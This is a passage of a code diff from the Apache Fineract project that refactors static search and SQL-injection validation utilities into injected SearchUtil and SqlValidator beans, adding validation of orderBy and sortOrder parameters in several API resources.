+            selectColumns = searchUtil.validateToJdbcColumnNames(resultColumns, headersByName, false);
         }
         PageRequest pageable = pagedRequest.toPageable();
         PageRequest sortPageable;
         if (pageable.getSort().isSorted()) {
             List<Sort.Order> orders = pageable.getSort().toList();
             sortPageable = pageable.withSort(Sort.by(orders.stream()
-                    .map(e -> e.withProperty(SearchUtil.validateToJdbcColumnName(e.getProperty(), headersByName, false))).toList()));
+                    .map(e -> e.withProperty(searchUtil.validateToJdbcColumnName(e.getProperty(), headersByName, false))).toList()));
         } else {
             pageable = pageable.withSort(Sort.Direction.DESC, pkColumn);
             sortPageable = pageable;
@@ -275,7 +277,7 @@
         String from = " " + sqlGenerator.buildFrom(datatable, null, false);
         StringBuilder where = new StringBuilder();
         ArrayList<Object> params = new ArrayList<>();
-        SearchUtil.buildQueryCondition(columnFilters, where, params, null, headersByName, dateFormat, dateTimeFormat, locale, false,
+        searchUtil.buildQueryCondition(columnFilters, where, params, null, headersByName, dateFormat, dateTimeFormat, locale, false,
                 sqlGenerator);
 
         List<JsonObject> results = new ArrayList<>();
@@ -297,7 +299,7 @@
         SqlRowSet rowSet = jdbcTemplate.queryForRowSet(query.toString(), args);
 
         while (rowSet.next()) {
-            SearchUtil.extractJsonResult(rowSet, selectColumns, resultColumns, results);
+            searchUtil.extractJsonResult(rowSet, selectColumns, resultColumns, results);
         }
         return PageableExecutionUtils.getPage(results, pageable, () -> totalElements);
     }
@@ -315,19 +317,19 @@
         datatable = validateDatatableRegistered(datatable);
         context.authenticatedUser().validateHasDatatableReadPermission(datatable);
 
-        Map<String, ResultsetColumnHeaderData> headersByName = SearchUtil
+        Map<String, ResultsetColumnHeaderData> headersByName = searchUtil
                 .mapHeadersToName(genericDataService.fillResultsetColumnHeaders(datatable));
 
-        List<String> thisSelectColumns = SearchUtil.validateToJdbcColumnNames(resultColumns, headersByName, true);
+        List<String> thisSelectColumns = searchUtil.validateToJdbcColumnNames(resultColumns, headersByName, true);
         if (columnFilters != null) {
-            columnFilters.forEach(e -> e.setColumn(SearchUtil.validateToJdbcColumnName(e.getColumn(), headersByName, false)));
+            columnFilters.forEach(e -> e.setColumn(searchUtil.validateToJdbcColumnName(e.getColumn(), headersByName, false)));
         }
 
         select.append(sqlGenerator.buildSelect(thisSelectColumns, alias, true));
         selectColumns.addAll(thisSelectColumns);
 
         String joinType = "LEFT";
-        if (SearchUtil.buildQueryCondition(columnFilters, where, params, alias, headersByName, dateFormat, dateTimeFormat, locale, true,
+        if (searchUtil.buildQueryCondition(columnFilters, where, params, alias, headersByName, dateFormat, dateTimeFormat, locale, true,
                 sqlGenerator)) {
             joinType = null; // INNER
         }
@@ -674,7 +676,7 @@
             validateDatatableName(datatableName);
             int rowCount = getDatatableRowCount(datatableName);
             final List<ResultsetColumnHeaderData> columnHeaderData = this.genericDataService.fillResultsetColumnHeaders(datatableName);
-            final Map<String, ResultsetColumnHeaderData> mapColumnNameDefinition = SearchUtil.mapHeadersToName(columnHeaderData);
+            final Map<String, ResultsetColumnHeaderData> mapColumnNameDefinition = searchUtil.mapHeadersToName(columnHeaderData);
 
             final boolean isConstraintApproach = this.configurationDomainService.isConstraintApproachEnabledForDatatables();
 
@@ -1283,7 +1285,7 @@
         CommandProcessingResult commandProcessingResult = checkMainResourceExistsWithinScope(entityTable, appTableId);
 
         List<ResultsetColumnHeaderData> columnHeaders = genericDataService.fillResultsetColumnHeaders(dataTableName);
-        Map<String, ResultsetColumnHeaderData> headersByName = SearchUtil.mapHeadersToName(columnHeaders);
+        Map<String, ResultsetColumnHeaderData> headersByName = searchUtil.mapHeadersToName(columnHeaders);
 
         final Type typeOfMap = new TypeToken<Map<String, String>>() {}.getType();
         final Map<String, String> dataParams = fromJsonHelper.extractDataMap(typeOfMap, json);
@@ -1302,12 +1304,12 @@
             if (isTechnicalParam(entry.getKey())) {
                 continue;
             }
-            ResultsetColumnHeaderData columnHeader = SearchUtil.validateToJdbcColumn(entry.getKey(), headersByName, false);
+            ResultsetColumnHeaderData columnHeader = searchUtil.validateToJdbcColumn(entry.getKey(), headersByName, false);
             if (!isUserInsertable(entityTable, columnHeader)) {
                 continue;
             }
             insertColumns.add(columnHeader.getColumnName());
-            params.add(SearchUtil.parseJdbcColumnValue(columnHeader, entry.getValue(), dateFormat, dateTimeFormat, locale, false,
+            params.add(searchUtil.parseJdbcColumnValue(columnHeader, entry.getValue(), dateFormat, dateTimeFormat, locale, false,
                     sqlGenerator));
         }
         if (addScore) {
@@ -1318,7 +1320,7 @@
             } else {
                 StringBuilder scoreSql = new StringBuilder("SELECT SUM(code_score) FROM m_code_value WHERE m_code_value.");
                 ArrayList<Object> scoreParams = new ArrayList<>();
-                SearchUtil.buildCondition("id", BIGINT, IN, scoreIds, scoreSql, scoreParams, null, sqlGenerator);
+                searchUtil.buildCondition("id", BIGINT, IN, scoreIds, scoreSql, scoreParams, null, sqlGenerator);
                 Integer score = jdbcTemplate.queryForObject(scoreSql.toString(), Integer.class, scoreParams.toArray(Object[]::new));
                 scoreValue = score == null ? 0 : score;
             }
@@ -1404,7 +1406,7 @@
             throw new PlatformDataIntegrityException("error.msg.attempting.multiple.update",
                     "Application table: " + dataTableName + " Foreign key id: " + appTableId);
         }
-        Map<String, ResultsetColumnHeaderData> headersByName = SearchUtil.mapHeadersToName(columnHeaders);
+        Map<String, ResultsetColumnHeaderData> headersByName = searchUtil.mapHeadersToName(columnHeaders);
         final List<Object> existingValues = existingRows.getData().get(0).getRow();
         HashMap<ResultsetColumnHeaderData, Object> valuesByHeader = columnHeaders.stream().collect(HashMap::new,
                 (map, e) -> map.put(e, existingValues.get(map.size())), (map, map2) -> {});
@@ -1426,13 +1428,13 @@
             if (isTechnicalParam(entry.getKey())) {
                 continue;
             }
-            ResultsetColumnHeaderData columnHeader = SearchUtil.validateToJdbcColumn(entry.getKey(), headersByName, false);
+            ResultsetColumnHeaderData columnHeader = searchUtil.validateToJdbcColumn(entry.getKey(), headersByName, false);
             if (!isUserUpdatable(entityTable, columnHeader)) {
                 continue;
             }
             String columnName = columnHeader.getColumnName();
             Object existingValue = valuesByHeader.get(columnHeader);
-            Object columnValue = SearchUtil.parseColumnValue(columnHeader, entry.getValue(), dateFormat, dateTimeFormat, locale, false,
+            Object columnValue = searchUtil.parseColumnValue(columnHeader, entry.getValue(), dateFormat, dateTimeFormat, locale, false,
                     sqlGenerator);
             if ((columnHeader.getColumnType().isDecimalType() && MathUtil.isEqualTo((BigDecimal) existingValue, (BigDecimal) columnValue))
                     || (existingValue == null ? columnValue == null : existingValue.equals(columnValue))) {
@@ -1445,7 +1447,7 @@
         }
         Long primaryKey = datatableId == null ? appTableId : datatableId;
         if (!updateColumns.isEmpty()) {
-            ResultsetColumnHeaderData pkColumn = SearchUtil.getFiltered(columnHeaders, ResultsetColumnHeaderData::getIsColumnPrimaryKey);
+            ResultsetColumnHeaderData pkColumn = searchUtil.getFiltered(columnHeaders, ResultsetColumnHeaderData::getIsColumnPrimaryKey);
             params.add(primaryKey);
             final String sql = sqlGenerator.buildUpdate(dataTableName, updateColumns, headersByName) + " WHERE " + pkColumn.getColumnName()
                     + " = ?";
@@ -1533,7 +1535,7 @@
         final boolean multiRow = isMultirowDatatable(columnHeaders);
 
         String whereClause = getFKField(entityTable) + " = " + appTableId;
-        SQLInjectionValidator.validateSQLInput(whereClause);
+        sqlValidator.validate(whereClause);
         String sql = "select * from " + sqlGenerator.escape(dataTableName) + " where " + whereClause;
 
         // id only used for reading a specific entry that belongs to appTableId (in a one to many datatable)
@@ -1636,7 +1638,7 @@
 
     @NotNull
     private EntityTables queryForApplicationEntity(final String datatable) {
-        SQLInjectionValidator.validateSQLInput(datatable);
+        sqlValidator.validate(datatable);
         final String sql = "SELECT application_table_name FROM x_registered_table where registered_table_name = ?";
         final SqlRowSet rowSet = jdbcTemplate.queryForRowSet(sql, datatable); // NOSONAR
 
@@ -1681,7 +1683,7 @@
         } else if (!name.matches(DATATABLE_NAME_REGEX_PATTERN)) {
             throw new PlatformDataIntegrityException("error.msg.datatables.datatable.invalid.name.regex", "Invalid data table name.", name);
         }
-        SQLInjectionValidator.validateSQLInput(name);
+        sqlValidator.validate(name);
     }
 
     private String validateDatatableRegistered(String datatable) {
@@ -1750,7 +1752,7 @@
     }
 
     private boolean isMultirowDatatable(final List<ResultsetColumnHeaderData> columnHeaders) {
-        return SearchUtil.findFiltered(columnHeaders, e -> e.isNamed(TABLE_FIELD_ID)) != null;
+        return searchUtil.findFiltered(columnHeaders, e -> e.isNamed(TABLE_FIELD_ID)) != null;
     }
 
     private String datatableColumnNameToCodeValueName(final String columnName, final String code) {
diff --git a/fineract-provider/src/main/java/org/apache/fineract/infrastructure/dataqueries/starter/DataQueriesAutoConfiguration.java b/fineract-provider/src/main/java/org/apache/fineract/infrastructure/dataqueries/starter/DataQueriesAutoConfiguration.java
index c0464e9..8425fa9 100644
--- a/fineract-provider/src/main/java/org/apache/fineract/infrastructure/dataqueries/starter/DataQueriesAutoConfiguration.java
+++ b/fineract-provider/src/main/java/org/apache/fineract/infrastructure/dataqueries/starter/DataQueriesAutoConfiguration.java
@@ -31,7 +31,9 @@
 import org.apache.fineract.infrastructure.dataqueries.service.ReadWriteNonCoreDataServiceImpl;
 import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
 import org.apache.fineract.infrastructure.security.service.SqlInjectionPreventerService;
+import org.apache.fineract.infrastructure.security.service.SqlValidator;
 import org.apache.fineract.infrastructure.security.utils.ColumnValidator;
+import org.apache.fineract.portfolio.search.service.SearchUtil;
 import org.springframework.boot.autoconfigure.condition.ConditionalOnMissingBean;
 import org.springframework.context.annotation.Bean;
 import org.springframework.context.annotation.Configuration;
@@ -50,9 +52,10 @@
             final ConfigurationDomainService configurationDomainService, final CodeReadPlatformService codeReadPlatformService,
             final DataTableValidator dataTableValidator, final ColumnValidator columnValidator,
             final NamedParameterJdbcTemplate namedParameterJdbcTemplate, final SqlInjectionPreventerService preventSqlInjectionService,
-            DatatableKeywordGenerator datatableKeywordGenerator) {
+            DatatableKeywordGenerator datatableKeywordGenerator, SqlValidator sqlValidator, SearchUtil searchUtil) {
         return new ReadWriteNonCoreDataServiceImpl(jdbcTemplate, databaseTypeResolver, sqlGenerator, context, fromJsonHelper,
                 genericDataService, fromApiJsonDeserializer, configurationDomainService, codeReadPlatformService, dataTableValidator,
-                columnValidator, namedParameterJdbcTemplate, preventSqlInjectionService, datatableKeywordGenerator);
+                columnValidator, namedParameterJdbcTemplate, preventSqlInjectionService, datatableKeywordGenerator, sqlValidator,
+                searchUtil);
     }
 }
diff --git a/fineract-provider/src/main/java/org/apache/fineract/infrastructure/jobs/api/SchedulerJobApiResource.java b/fineract-provider/src/main/java/org/apache/fineract/infrastructure/jobs/api/SchedulerJobApiResource.java
index e13736e..efb9b06 100644
--- a/fineract-provider/src/main/java/org/apache/fineract/infrastructure/jobs/api/SchedulerJobApiResource.java
+++ b/fineract-provider/src/main/java/org/apache/fineract/infrastructure/jobs/api/SchedulerJobApiResource.java
@@ -61,6 +61,7 @@
 import org.apache.fineract.infrastructure.jobs.service.SchedulerJobRunnerReadService;
 import org.apache.fineract.infrastructure.security.exception.NoAuthorizationException;
 import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
+import org.apache.fineract.infrastructure.security.service.SqlValidator;
 import org.springframework.stereotype.Component;
 
 @Path("/v1/jobs")
@@ -79,6 +80,7 @@
     private final PortfolioCommandSourceWritePlatformService commandsSourceWritePlatformService;
     private final PlatformSecurityContext context;
     private final FineractProperties fineractProperties;
+    private final SqlValidator sqlValidator;
 
     @GET
     @Operation(summary = "Retrieve Scheduler Jobs", description = "Returns the list of jobs.\n" + "\n" + "Example Requests:\n" + "\n"
@@ -117,7 +119,10 @@
             @QueryParam("orderBy") @Parameter(description = "orderBy") final String orderBy,
             @QueryParam("sortOrder") @Parameter(description = "sortOrder") final String sortOrder) {
         this.context.authenticatedUser().validateHasReadPermission(SchedulerJobApiConstants.SCHEDULER_RESOURCE_NAME);
-        final SearchParameters searchParameters = SearchParameters.forPagination(offset, limit, orderBy, sortOrder);
+        sqlValidator.validate(orderBy);
+        sqlValidator.validate(sortOrder);
+        final SearchParameters searchParameters = SearchParameters.builder().limit(limit).offset(offset).orderBy(orderBy)
+                .sortOrder(sortOrder).build();
         final Page<JobDetailHistoryData> jobhistoryDetailData = this.schedulerJobRunnerReadService.retrieveJobHistory(jobId,
                 searchParameters);
         final ApiRequestJsonSerializationSettings settings = this.apiRequestParameterHelper.process(uriInfo.getQueryParameters());
diff --git a/fineract-provider/src/main/java/org/apache/fineract/infrastructure/jobs/service/SchedulerJobRunnerReadServiceImpl.java b/fineract-provider/src/main/java/org/apache/fineract/infrastructure/jobs/service/SchedulerJobRunnerReadServiceImpl.java
index 291ccb5..70ef390 100644
--- a/fineract-provider/src/main/java/org/apache/fineract/infrastructure/jobs/service/SchedulerJobRunnerReadServiceImpl.java
+++ b/fineract-provider/src/main/java/org/apache/fineract/infrastructure/jobs/service/SchedulerJobRunnerReadServiceImpl.java
@@ -100,18 +100,18 @@
         sqlBuilder.append("select " + sqlGenerator.calcFoundRows() + " ");
         sqlBuilder.append(jobHistoryMapper.schema());
         sqlBuilder.append(" where job.id=?");
-        if (searchParameters.isOrderByRequested()) {
+        if (searchParameters.hasOrderBy()) {
             sqlBuilder.append(" order by ").append(searchParameters.getOrderBy());
             this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getOrderBy());
-            if (searchParameters.isSortOrderProvided()) {
+            if (searchParameters.hasSortOrder()) {
                 sqlBuilder.append(' ').append(searchParameters.getSortOrder());
                 this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getSortOrder());
             }
         }
 
-        if (searchParameters.isLimited()) {
+        if (searchParameters.hasLimit()) {
             sqlBuilder.append(" ");
-            if (searchParameters.isOffset()) {
+            if (searchParameters.hasOffset()) {
                 sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset()));
             } else {
                 sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit()));
diff --git a/fineract-provider/src/main/java/org/apache/fineract/infrastructure/report/service/AbstractReportingProcessService.java b/fineract-provider/src/main/java/org/apache/fineract/infrastructure/report/service/AbstractReportingProcessService.java
new file mode 100644
index 0000000..4e9bbd8
--- /dev/null
+++ b/fineract-provider/src/main/java/org/apache/fineract/infrastructure/report/service/AbstractReportingProcessService.java
@@ -0,0 +1,48 @@
+/**
+ * Licensed to the Apache Software Foundation (ASF) under one
+ * or more contributor license agreements. See the NOTICE file
+ * distributed with this work for additional information
+ * regarding copyright ownership. The ASF licenses this file
+ * to you under the Apache License, Version 2.0 (the
+ * "License"); you may not use this file except in compliance
+ * with the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing,
+ * software distributed under the License is distributed on an
+ * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+ * KIND, either express or implied. See the License for the
+ * specific language governing permissions and limitations
+ * under the License.
+ */
+package org.apache.fineract.infrastructure.report.service;
+
+import jakarta.ws.rs.core.MultivaluedMap;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+import org.apache.fineract.infrastructure.security.service.SqlValidator;
+
+public abstract class AbstractReportingProcessService implements ReportingProcessService {
+
+    private final SqlValidator sqlValidator;
+
+    protected AbstractReportingProcessService(SqlValidator sqlValidator) {
+        this.sqlValidator = sqlValidator;
+    }
+
+    @Override
+    public Map<String, String> getReportParams(final MultivaluedMap<String, String> queryParams) {
+        final Map<String, String> reportParams = new HashMap<>();
+        for (Map.Entry<String, List<String>> entry : queryParams.entrySet()) {
+            if (entry.getKey().startsWith("R_")) {
+                String pKey = "${" + entry.getKey().substring(2) + "}";
+                String pValue = entry.getValue().get(0);
+                sqlValidator.validate(pValue);
+                reportParams.put(pKey, pValue);
+            }
+        }
+        return reportParams;
+    }
+}
diff --git a/fineract-provider/src/main/java/org/apache/fineract/infrastructure/report/service/ReportingProcessService.java b/fineract-provider/src/main/java/org/apache/fineract/infrastructure/report/service/ReportingProcessService.java
index 3140632..ad3d5fa 100644
--- a/fineract-provider/src/main/java/org/apache/fineract/infrastructure/report/service/ReportingProcessService.java
+++ b/fineract-provider/src/main/java/org/apache/fineract/infrastructure/report/service/ReportingProcessService.java
@@ -20,11 +20,9 @@
 
 import jakarta.ws.rs.core.MultivaluedMap;
 import jakarta.ws.rs.core.Response;
-import java.util.HashMap;
 import java.util.List;
 import java.util.Map;
 import org.apache.fineract.infrastructure.dataqueries.data.ReportExportType;
-import org.apache.fineract.infrastructure.security.utils.SQLInjectionValidator;
 
 public interface ReportingProcessService {
 
@@ -32,16 +30,5 @@
 
     List<ReportExportType> getAvailableExportTargets();
 
-    default Map<String, String> getReportParams(final MultivaluedMap<String, String> queryParams) {
-        final Map<String, String> reportParams = new HashMap<>();
-        for (Map.Entry<String, List<String>> entry : queryParams.entrySet()) {
-            if (entry.getKey().startsWith("R_")) {
-                String pKey = "${" + entry.getKey().substring(2) + "}";
-                String pValue = entry.getValue().get(0);
-                SQLInjectionValidator.validateSQLInput(pValue);
-                reportParams.put(pKey, pValue);
-            }
-        }
-        return reportParams;
-    }
+    Map<String, String> getReportParams(MultivaluedMap<String, String> queryParams);
 }
diff --git a/fineract-provider/src/main/java/org/apache/fineract/infrastructure/reportmailingjob/api/ReportMailingJobApiResource.java b/fineract-provider/src/main/java/org/apache/fineract/infrastructure/reportmailingjob/api/ReportMailingJobApiResource.java
index 8dca897..3f183e2 100644
--- a/fineract-provider/src/main/java/org/apache/fineract/infrastructure/reportmailingjob/api/ReportMailingJobApiResource.java
+++ b/fineract-provider/src/main/java/org/apache/fineract/infrastructure/reportmailingjob/api/ReportMailingJobApiResource.java
@@ -53,6 +53,7 @@
 import org.apache.fineract.infrastructure.reportmailingjob.data.ReportMailingJobData;
 import org.apache.fineract.infrastructure.reportmailingjob.service.ReportMailingJobReadPlatformService;
 import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
+import org.apache.fineract.infrastructure.security.service.SqlValidator;
 import org.springframework.stereotype.Component;
 
 @Path("/v1/" + ReportMailingJobConstants.REPORT_MAILING_JOB_RESOURCE_NAME)
@@ -66,6 +67,7 @@
     private final ApiRequestParameterHelper apiRequestParameterHelper;
     private final DefaultToApiJsonSerializer<ReportMailingJobData> reportMailingToApiJsonSerializer;
     private final ReportMailingJobReadPlatformService reportMailingJobReadPlatformService;
+    private final SqlValidator sqlValidator;
 
     @POST
     @Consumes({ MediaType.APPLICATION_JSON })
@@ -184,7 +186,10 @@
                 .validateHasReadPermission(ReportMailingJobConstants.REPORT_MAILING_JOB_ENTITY_NAME);
 
         final ApiRequestJsonSerializationSettings settings = this.apiRequestParameterHelper.process(uriInfo.getQueryParameters());
-        final SearchParameters searchParameters = SearchParameters.fromReportMailingJob(offset, limit, orderBy, sortOrder);
+        sqlValidator.validate(orderBy);
+        sqlValidator.validate(sortOrder);
+        final SearchParameters searchParameters = SearchParameters.builder().limit(limit).offset(offset).orderBy(orderBy)
+                .sortOrder(sortOrder).build();
         final Page<ReportMailingJobData> reportMailingJobData = this.reportMailingJobReadPlatformService
                 .retrieveAllReportMailingJobs(searchParameters);
 
diff --git a/fineract-provider/src/main/java/org/apache/fineract/infrastructure/reportmailingjob/api/ReportMailingJobRunHistoryApiResource.java b/fineract-provider/src/main/java/org/apache/fineract/infrastructure/reportmailingjob/api/ReportMailingJobRunHistoryApiResource.java
index 9d87238..37262af 100644
--- a/fineract-provider/src/main/java/org/apache/fineract/infrastructure/reportmailingjob/api/ReportMailingJobRunHistoryApiResource.java
+++ b/fineract-provider/src/main/java/org/apache/fineract/infrastructure/reportmailingjob/api/ReportMailingJobRunHistoryApiResource.java
@@ -43,6 +43,7 @@
 import org.apache.fineract.infrastructure.reportmailingjob.data.ReportMailingJobRunHistoryData;
 import org.apache.fineract.infrastructure.reportmailingjob.service.ReportMailingJobRunHistoryReadPlatformService;
 import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
+import org.apache.fineract.infrastructure.security.service.SqlValidator;
 import org.springframework.stereotype.Component;
 
 @Path("/v1/" + ReportMailingJobConstants.REPORT_MAILING_JOB_RUN_HISTORY_RESOURCE_NAME)
@@ -55,6 +56,7 @@
     private final ApiRequestParameterHelper apiRequestParameterHelper;
     private final DefaultToApiJsonSerializer<ReportMailingJobRunHistoryData> reportMailingToApiJsonSerializer;
     private final ReportMailingJobRunHistoryReadPlatformService reportMailingJobRunHistoryReadPlatformService;
+    private final SqlValidator sqlValidator;
 
     @GET
     @Consumes({ MediaType.APPLICATION_JSON })
@@ -71,7 +73,10 @@
             @QueryParam("sortOrder") @Parameter(description = "sortOrder") final String sortOrder) {
         this.platformSecurityContext.authenticatedUser()
                 .validateHasReadPermission(ReportMailingJobConstants.REPORT_MAILING_JOB_ENTITY_NAME);
-        final SearchParameters searchParameters = SearchParameters.fromReportMailingJobRunHistory(offset, limit, orderBy, sortOrder);
+        sqlValidator.validate(orderBy);
+        sqlValidator.validate(sortOrder);
+        final SearchParameters searchParameters = SearchParameters.builder().limit(limit).offset(offset).orderBy(orderBy)
+                .sortOrder(sortOrder).build();
 
         final Page<ReportMailingJobRunHistoryData> reportMailingJobRunHistoryData = this.reportMailingJobRunHistoryReadPlatformService
                 .retrieveRunHistoryByJobId(reportMailingJobId, searchParameters);
diff --git a/fineract-provider/src/main/java/org/apache/fineract/infrastructure/reportmailingjob/service/ReportMailingJobReadPlatformServiceImpl.java b/fineract-provider/src/main/java/org/apache/fineract/infrastructure/reportmailingjob/service/ReportMailingJobReadPlatformServiceImpl.java
index 0a422be..d6dc95e 100644
--- a/fineract-provider/src/main/java/org/apache/fineract/infrastructure/reportmailingjob/service/ReportMailingJobReadPlatformServiceImpl.java
+++ b/fineract-provider/src/main/java/org/apache/fineract/infrastructure/reportmailingjob/service/ReportMailingJobReadPlatformServiceImpl.java
@@ -71,10 +71,10 @@
         sqlStringBuilder.append(mapper.reportMailingJobSchema());
         sqlStringBuilder.append(" where rmj.is_deleted = false");
 
-        if (searchParameters.isOrderByRequested()) {
+        if (searchParameters.hasOrderBy()) {
             sqlStringBuilder.append(" order by ").append(searchParameters.getOrderBy());
             this.columnValidator.validateSqlInjection(sqlStringBuilder.toString(), searchParameters.getOrderBy());
-            if (searchParameters.isSortOrderProvided()) {
+            if (searchParameters.hasSortOrder()) {
                 sqlStringBuilder.append(" ").append(searchParameters.getSortOrder());
                 this.columnValidator.validateSqlInjection(sqlStringBuilder.toString(), searchParameters.getSortOrder());
             }
@@ -82,9 +82,9 @@
             sqlStringBuilder.append(" order by rmj.name ");
         }
 
-        if (searchParameters.isLimited()) {
+        if (searchParameters.hasLimit()) {
             sqlStringBuilder.append(" ");
-            if (searchParameters.isOffset()) {
+            if (searchParameters.hasOffset()) {
                 sqlStringBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset()));
             } else {
                 sqlStringBuilder.append(sqlGenerator.limit(searchParameters.getLimit()));
diff --git a/fineract-provider/src/main/java/org/apache/fineract/infrastructure/reportmailingjob/service/ReportMailingJobRunHistoryReadPlatformServiceImpl.java b/fineract-provider/src/main/java/org/apache/fineract/infrastructure/reportmailingjob/service/ReportMailingJobRunHistoryReadPlatformServiceImpl.java
index 72bc93f..81b2194 100644
--- a/fineract-provider/src/main/java/org/apache/fineract/infrastructure/reportmailingjob/service/ReportMailingJobRunHistoryReadPlatformServiceImpl.java
+++ b/fineract-provider/src/main/java/org/apache/fineract/infrastructure/reportmailingjob/service/ReportMailingJobRunHistoryReadPlatformServiceImpl.java
@@ -68,18 +68,18 @@
             queryParameters.add(reportMailingJobId);
         }
 
-        if (searchParameters.isOrderByRequested()) {
+        if (searchParameters.hasOrderBy()) {
             sqlStringBuilder.append(" order by ").append(searchParameters.getOrderBy());
             this.columnValidator.validateSqlInjection(sqlStringBuilder.toString(), searchParameters.getOrderBy());
-            if (searchParameters.isSortOrderProvided()) {
+            if (searchParameters.hasSortOrder()) {
                 sqlStringBuilder.append(" ").append(searchParameters.getSortOrder());
                 this.columnValidator.validateSqlInjection(sqlStringBuilder.toString(), searchParameters.getSortOrder());
             }
         }
 
-        if (searchParameters.isLimited()) {
+        if (searchParameters.hasLimit()) {
             sqlStringBuilder.append(" ");
-            if (searchParameters.isOffset()) {
+            if (searchParameters.hasOffset()) {
                 sqlStringBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset()));
             } else {
                 sqlStringBuilder.append(sqlGenerator.limit(searchParameters.getLimit()));
diff --git a/fineract-provider/src/main/java/org/apache/fineract/infrastructure/sms/api/SmsApiResource.java b/fineract-provider/src/main/java/org/apache/fineract/infrastructure/sms/api/SmsApiResource.java
index e0242f2..2c20a57 100644
--- a/fineract-provider/src/main/java/org/apache/fineract/infrastructure/sms/api/SmsApiResource.java
+++ b/fineract-provider/src/main/java/org/apache/fineract/infrastructure/sms/api/SmsApiResource.java
@@ -47,6 +47,7 @@
 import org.apache.fineract.infrastructure.core.service.Page;
 import org.apache.fineract.infrastructure.core.service.SearchParameters;
 import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
+import org.apache.fineract.infrastructure.security.service.SqlValidator;
 import org.apache.fineract.infrastructure.sms.data.SmsData;
 import org.apache.fineract.infrastructure.sms.service.SmsReadPlatformService;
 import org.springframework.stereotype.Component;
@@ -66,6 +67,7 @@
     private final DefaultToApiJsonSerializer<SmsData> toApiJsonSerializer;
     private final ApiRequestParameterHelper apiRequestParameterHelper;
     private final PortfolioCommandSourceWritePlatformService commandsSourceWritePlatformService;
+    private final SqlValidator sqlValidator;
 
     @GET
     public String retrieveAll(@Context final UriInfo uriInfo) {
@@ -99,7 +101,10 @@
             @QueryParam("limit") final Integer limit, @QueryParam("orderBy") final String orderBy,
             @QueryParam("sortOrder") final String sortOrder) {
         context.authenticatedUser().validateHasReadPermission(RESOURCE_NAME_FOR_PERMISSIONS);
-        final SearchParameters searchParameters = SearchParameters.forSMSCampaign(offset, limit, orderBy, sortOrder);
+        sqlValidator.validate(orderBy);
+        sqlValidator.validate(sortOrder);
+        final SearchParameters searchParameters = SearchParameters.builder().limit(limit).offset(offset).orderBy(orderBy)
+                .sortOrder(sortOrder).build();
 
         final DateFormat dateFormat = StringUtils.isBlank(rawDateFormat) ? null : new DateFormat(rawDateFormat);
 
diff --git a/fineract-provider/src/main/java/org/apache/fineract/infrastructure/sms/service/SmsReadPlatformServiceImpl.java b/fineract-provider/src/main/java/org/apache/fineract/infrastructure/sms/service/SmsReadPlatformServiceImpl.java
index 82794bd..9a3af75 100644
--- a/fineract-provider/src/main/java/org/apache/fineract/infrastructure/sms/service/SmsReadPlatformServiceImpl.java
+++ b/fineract-provider/src/main/java/org/apache/fineract/infrastructure/sms/service/SmsReadPlatformServiceImpl.java
@@ -225,10 +225,10 @@
             arrayPos = arrayPos + 1;
         }
 
-        if (searchParameters.isOrderByRequested()) {
+        if (searchParameters.hasOrderBy()) {
             sqlBuilder.append(" order by ").append(searchParameters.getOrderBy());
             this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getOrderBy());
-            if (searchParameters.isSortOrderProvided()) {
+            if (searchParameters.hasSortOrder()) {
                 sqlBuilder.append(' ').append(searchParameters.getSortOrder());
                 this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getSortOrder());
             }
@@ -236,9 +236,9 @@
             sqlBuilder.append(" order by smo.submittedon_date, smo.id");
         }
 
-        if (searchParameters.isLimited()) {
+        if (searchParameters.hasLimit()) {
             sqlBuilder.append(" ");
-            if (searchParameters.isOffset()) {
+            if (searchParameters.hasOffset()) {
                 sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset()));
             } else {
                 sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit()));
diff --git a/fineract-provider/src/main/java/org/apache/fineract/infrastructure/survey/service/ReadSurveyServiceImpl.java b/fineract-provider/src/main/java/org/apache/fineract/infrastructure/survey/service/ReadSurveyServiceImpl.java
index 737a8f8..ab4c89f 100644
--- a/fineract-provider/src/main/java/org/apache/fineract/infrastructure/survey/service/ReadSurveyServiceImpl.java
+++ b/fineract-provider/src/main/java/org/apache/fineract/infrastructure/survey/service/ReadSurveyServiceImpl.java
@@ -20,6 +20,8 @@
 
 import java.util.ArrayList;
 import java.util.List;
+import lombok.RequiredArgsConstructor;
+import lombok.extern.slf4j.Slf4j;
 import org.apache.fineract.infrastructure.dataqueries.api.DataTableApiConstant;
 import org.apache.fineract.infrastructure.dataqueries.data.DatatableData;
 import org.apache.fineract.infrastructure.dataqueries.data.GenericResultsetData;
@@ -27,33 +29,25 @@
 import org.apache.fineract.infrastructure.dataqueries.service.GenericDataService;
 import org.apache.fineract.infrastructure.dataqueries.service.ReadWriteNonCoreDataService;
 import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
-import org.apache.fineract.infrastructure.security.utils.SQLInjectionValidator;
+import org.apache.fineract.infrastructure.security.service.SqlValidator;
 import org.apache.fineract.infrastructure.survey.data.ClientScoresOverview;
 import org.apache.fineract.infrastructure.survey.data.LikelihoodStatus;
 import org.apache.fineract.infrastructure.survey.data.SurveyDataTableData;
-import org.springframework.beans.factory.annotation.Autowired;
 import org.springframework.jdbc.core.JdbcTemplate;
 import org.springframework.jdbc.support.rowset.SqlRowSet;
 import org.springframework.stereotype.Service;
 
+@Slf4j
+@RequiredArgsConstructor
 @Service
 public class ReadSurveyServiceImpl implements ReadSurveyService {
 
     private final PlatformSecurityContext context;
     private final JdbcTemplate jdbcTemplate;
